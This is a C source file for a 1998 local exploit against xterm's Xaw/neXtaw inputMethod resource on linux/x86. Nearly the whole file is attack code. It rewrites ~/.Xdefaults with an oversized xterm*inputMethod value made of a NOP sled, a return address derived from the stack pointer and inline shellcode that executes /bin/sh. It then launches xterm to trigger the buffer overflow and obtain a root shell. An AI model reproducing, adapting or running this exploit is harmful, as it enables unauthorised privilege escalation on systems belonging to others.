/* 

  xterm_exp.c : linux/x86 xterm.Xaw exploit 
  by alcuin - 5/4/98 - [ http://www.rootshell.com/ ] 

  It works against both Xaw and neXtaw widgets 

  NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to 
  use xterm again. 

*/ 

#include <stdlib.h> 
#include <stdio.h> 
#include <ctype.h> 

unsigned int getsp() { 
  asm("mov %esp,%eax"); 
} 

inline rootshell(){ 
  __asm__( 
      "movb $0x56, %al\n\t" 
      "l1:cmpb $0x12, %al\n\t" 
      "je l2\n\t" 
      "movb $0x12,%al\n\t" 
      "call l1\n\t" 
      "l2:pop %esi\n\t" 
      "xorl %eax,%eax\n\t" 
      "movb $0x25, %al\n\t" 
      "addl %eax,%esi\n\t" 
      "movl %esi,%ebx\n\t" 
      "movl %esi,%edi\n\t" 
      "movb $8,%al\n\t" 
      "addl %eax,%edi\n\t" 
      "movb $5,%al\n\t" 
      "addl %eax,%esi\n\t" 
      "movl %esi,(%edi)\n\t" 
      "movl %edi,%ecx\n\t" 
      "incl %edi\n\t" 
      "incl %edi\n\t" 
      "incl %edi\n\t" 
      "incl %edi\n\t" 
      "xorb %al,%al\n\t" 
      "movl %eax,(%edi)\n\t" 
      "movl %edi,%edx\n\t" 
      "movb $0xb,%al\n\t" 
      "int $0x80\n\t" 
      ".string \"/bin/sh\"\n" 
      ); 
} 

#define CONFFILE ".Xdefaults" 
#define OLDFILE ".Xdefaults.old" 
#define NEWFILE ".Xdefaults.new" 

main (int argc, char **argv) { 

  char *home; 
  FILE *f_in, *f_out; 
  char buf[16384]; 
  char shellbuf[16384]; 
  char *s; 
  int i; 
  unsigned int sp=getsp(); 

  if (home = getenv("HOME")) chdir(home); 

  if (!(f_out = fopen(NEWFILE, "w"))) { 
    perror("fopen"); 
    exit(1); 
  } 

  if (f_in = fopen(CONFFILE, "r")) { 
    fseek(f_in,0,SEEK_SET); 
    while (!feof(f_in)) { 
      fgets(buf,16384,f_in); 
      for (s=buf;isblank(*s);s++); 
      if (strncmp(s,"xterm*inputMethod",17)<0) 
        fputs(buf,f_out); 
    } 
    fclose(f_in); 
  } 

  /* fill the buffer with nops */ 
  memset(shellbuf, 0x90, sizeof(shellbuf)); 
  shellbuf[sizeof(shellbuf)-1] = 0; 

  /* write the return address */ 
  s = shellbuf+2052; 
  *(int *)s=sp+0x69F5; 

  /* write the root shell code */ 
  s = shellbuf+2800; 
  strcpy(s,(char*)rootshell); 

  fputs("xterm*inputMethod:",f_out); 
  fputs(shellbuf, f_out); 
  fclose(f_out); 

  system("/bin/cp "CONFFILE" "OLDFILE); 
  system("/bin/mv -f "NEWFILE" "CONFFILE); 

  execl("/usr/X11R6/bin/xterm","xterm",NULL); 
}